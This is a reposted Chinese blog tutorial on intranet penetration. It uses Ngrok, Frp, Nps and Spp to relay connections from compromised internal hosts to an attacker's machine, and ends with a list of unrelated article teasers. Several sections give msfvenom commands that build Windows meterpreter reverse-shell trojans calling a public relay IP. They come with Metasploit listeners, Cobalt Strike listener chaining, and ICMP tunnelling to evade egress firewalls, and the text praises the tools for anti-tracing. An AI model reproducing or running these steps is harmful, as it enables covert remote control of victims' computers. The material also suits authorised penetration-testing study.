内网安全:内网穿透详解

目录

内网穿透技术

内网穿透原理

实验环境

内网穿透项目

内网穿透:Ngrok

配置服务端

客户端配置

客户端生成后门,等待目标上线

内网穿透:Frp

客户端服务端建立连接

MSF生成后门,等待上线

内网穿透:Nps

服务端搭建配置

客户端配置

MSF生成后门上线

内网穿透:Spp

服务端

客户端

CS配置

总结:内网穿透技术解决了和内网主机连接的问题


内网穿透技术

这个技术可以解决的问题:

  • 穿透:实现“内网”控制“内网”,内网主机上线。
  • 隧道:解决内网主机协议的限制,实现通讯,之后上线。

内网穿透原理

内网穿透(NAT traversal)是一种技术,用于实现公网与内网之间的通信连接。当内网中的设备无法直接从公网访问时,内网穿透技术可以通过一些手段,让公网上的设备能够穿透到内网中的设备,建立起通信连接。

内网穿透的原理可以简单描述如下:

  1. NAT(网络地址转换):在常见的网络环境中,内网通常由路由器或防火墙等设备进行网络地址转换(NAT),将内网中的私有IP地址转换为公网可路由的IP地址。这样,内网设备可以通过NAT设备与公网通信,但公网无法直接访问内网设备。

  2. 穿透技术:为了实现内网穿透,需要借助一些特定的技术手段,使公网上的设备能够访问到内网中的设备。常见的穿透技术包括:

    • 端口映射(Port Forwarding):通过在路由器上进行端口映射配置,将公网上的某个端口映射到内网中的设备,从而实现对该设备的访问。

    • 反向代理(Reverse Proxy):在公网上搭建一个反向代理服务器,将公网请求转发到内网中的设备上。公网设备与反向代理服务器建立连接后,由反向代理服务器将请求转发到内网设备,实现公网访问内网的功能。

    • VPN(Virtual Private Network):通过建立VPN连接,将公网和内网连接在一起,使得公网用户可以通过VPN隧道访问内网资源。VPN会创建一个虚拟的私有网络,将公网设备加入到该网络中,使其能够直接访问内网中的设备。

    • 云服务:一些云服务提供商提供了内网穿透的解决方案,用户可以通过这些云服务将内网设备暴露到公网上,以实现公网访问内网的需求。

实验环境

目标:xiaodi8.com上线Kali的CS

  • 公网主机:xiaodi8.com
  • 内网Kali:192.168.1.166

正向连接:Kali主动连接xiaodi8.com,可行

反向连接:xiaodi8.com连接Kali,不可行

为了解决反向连接的问题,需要使用内网穿透技术,实现外部主机连接进入内网。这就是内网技术的意义所在。

内网穿透项目

一般使用工具项目部署,穿透项目:Ngrok,Frp,Spp,Nps,EW(停止更新,不再维护,不推荐)

https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps
http://www.rootkiter.com/EarthWorm

优点:穿透加密数据,中间平台,防追踪,解决网络问题

内网穿透:Ngrok

项目地址:内网转发

免费版:仅支持三种协议,http,https,tcp

配置服务端

开通隧道,设置Kali内网IP,Port,以及服务器开放的端口

客户端配置

Kali执行客户端,这个过程相当于Kali主动连接域名

./sunny clientid 203828291918

客户端生成后门,等待目标上线

生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10039 -f exe -o tcp.exe

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2233
run

目标上线

内网穿透:Frp

项目地址:https://github.com/fatedier/frp

需要一台服务器

frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。

客户端服务端建立连接

服务端

服务器修改配置文件frps.ini 隧道建立绑定在7000端口

[common] bind_port = 7000

启动服务端

./frps -c ./frps.ini

 客户端

修改配置文件frpc.ini   

隧道建立绑定在7000端口

服务端的6000端口受到数据会自动转发到本地的5555端口

[common] 
server_addr = 47.94.236.117 
server_port = 7000[msf]
type=tcp
local_ip=127.0.0.1
local_port=5555
remote_port=6000

启动客户端

./frpc -c ./frpc.ini

客户端与服务端建立连接

MSF生成后门,等待上线

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

上线

内网穿透:Nps

相当于服务端搭建一个ngrok

项目地址:https://github.com/ehang-io/nps

下载项目到服务器,它有一个客户端,一个服务端

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
 

服务端搭建配置

安装nps

./nps install

运行nps

./nps

默认运行地址

http://IP:8080/

默认登录账号密码

admin/123

创建客户端,生成密匙

添加协议隧道,绑定指向

将访问服务器5566端口的流量发送至客户端的6666端口

客户端配置

连接服务端

./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v  #创建客户端后自动生成密钥

MSF生成后门上线

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5566 -f exe -o nps.exe

监听本地6666

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

上线

内网穿透:Spp

项目地址:GitHub - esrrhs/spp: A simple and powerful proxy

支持的协议:tcp、udp、udp、icmp、http、kcp、quic

支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理

在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。

在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。

服务端

服务端运行,监听本地的ICMP流量

./spp -type server -proto ricmp -listen 0.0.0.0

客户端

受控靶机运行,将本地5555端口流量转发至47.94.236.117 80端口上(TCP封装成ICMP)

spp -name “test” -type proxy_client -server 47.94.236.117 -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp

服务端收到数据

CS配置

这个CS是运行在服务端的

创建两个监听器:

监听器1:http 47.94.236.117 8081

 
监听器2:http 127.0.0.1 8082 生成后门放到靶机上执行

上线,生成监听器2的木马,上线监听器1

总结:内网穿透技术解决了和内网主机连接的问题

区别于代理技术,隧道技术,三种技术都有解决通讯的问题,但是侧重不一样

代理技术可以把外网攻击机带进内网进行渗透

隧道技术解决了因为防火墙限制流量不出网的问题

内网穿透解决和内网主机建立连接的问题,可以远程访问内网的服务器

要根据不同使用场景来选择使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/4293.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

系列一、RocketMQ入门

一、MQ概述 1.1、MQ简介 MQ,Message Queue,是一种提供消息队列服务的中间件,也称为消息中间件,是一套提供了消息生产、存储、消费全过程的API软件系统。消息:消息即数据,一般消息的体量不会很大。 1.2、M…

从零开始 Spring Boot 52:@Embedded 和 @Embeddable

从零开始 Spring Boot 52:Embedded 和 Embeddable 图源:简书 (jianshu.com) 这篇文章会介绍Embedded和Embeddable两个注解在 JPA 中的用法。 简单示例 先看一个示例: AllArgsConstructor Builder Data Entity Table(name "user_stu…

【小沐学Unity3d】Unity播放视频(VideoPlayer组件)

文章目录 1、简介2、脚本播放示例3、界面播放示例3.1 2d界面全屏播放3.2 2d界面部分区域播放3.3 3d模型表面播放 结语 1、简介 使用视频播放器组件可将视频文件附加到游戏对象,然后在运行时在游戏对象的纹理上播放。 视频播放器 (Video Player) 组件: 属性功能Sourc…

Mysql锁机制介绍

Mysql锁机制 锁是计算机协调多个进程或线程并发访问某一资源的机制。 在数据库中,除传统的计算资源(如CPU、RAM、I/O等)的争用以外,数据也是一种供许多用户共享的资源。如何保证数据并发访问的一致性、有效性是所有数据库必须解决的一个问题&#xff0…

【算法】最长递增子序列:动态规划贪心+二分查找

文章目录 最长递增子序列解法一:动态规划解法二:LIS 和 LCS 的关系解法三:贪心 二分查找 相关题目673. 最长递增子序列的个数 https://leetcode.cn/problems/number-of-longest-increasing-subsequence/1964. 找出到每个位置为止最长的有效障…

理解mysql数据库

1.MySQL 在 Centos 7环境安装 1.1 卸载不要的环境 ps ajx |grep mariadb # 先检查是否有 mariadb 存在 systemctl stop mariadb.service # 停⽌ mariadb 服务 ps ajx |grep mariadb # 再 检查是否有 mariadb 存在 1.2 删除多余的安装包 rpm -qa | grep mysql #查看默认安装…

Unity内置渲染管线升级URP教程

简介 URP全称为Universal Render Pipeline(通用渲染管线),可以提供更加灵活的渲染方案,通过添加Render Feature实现各种渲染效果。并且可以针对移动平台进行专门的优化,同时还提供了SRPBatcher提高渲染效率。Unity的一些工具,比如…

《项目实战》构建SpringCloud alibaba项目(三、构建服务方子工程store-user-service)

系列文章目录 构建SpringCloud alibaba项目(一、构建父工程、公共库、网关) 构建SpringCloud alibaba项目(二、构建微服务鉴权子工程store-authority-service) 构建SpringCloud alibaba项目(三、构建服务方子工程stor…

95道MongoDB面试题

1、mongodb是什么? MongoDB 是由 C语言编写的,是一个基于分布式文件存储的开源数据库系统。 再高负载的情况下,添加更多的节点,可以保证服务器性能。 MongoDB 旨在给 WEB 应用提供可扩展的高性能数据存储解决方案。 MongoDB 将数…

前端技术栈 - ES6 - Promise -模块化编程

文章目录 🕛ES6⚡let变量⚡const常量⚡数组解构⚡对象解构⚡模板字符串⚡对象声明简写⚡对象方法简写⚡对象运算符扩展⚡箭头函数⚡作业布置 🕐Promise⚡需求分析⚡传统ajax回调嵌套⚡promise改进⚡promise异常捕获⚡promise链式调用⚡promise代码重排优…

Spark 3.4.x Server Client模式下的数据传输实现

背景 在Spark中python和jvm的通信杂谈–ArrowConverter中,我们提到Spark 3.4.x中是Client和Server之间的数据传输是采用Arrow IPC的,那具体是怎么实现的呢? 分析 直接上代码ClientE2ETestSuite test("createDataFrame from complex t…

Redis————主从架构

主从架构搭建 单机多实例 粗制一份redis.conf文件 将相关配置修改为如下值: port 与主节点端口后不相同即可 pidfile pid进程号保存文件pidfile的路径 logfile 日志文件名称 dir 指定数据存放目录 #需要注释掉bind #bind 127.0.0.1(bind绑定的是自己机…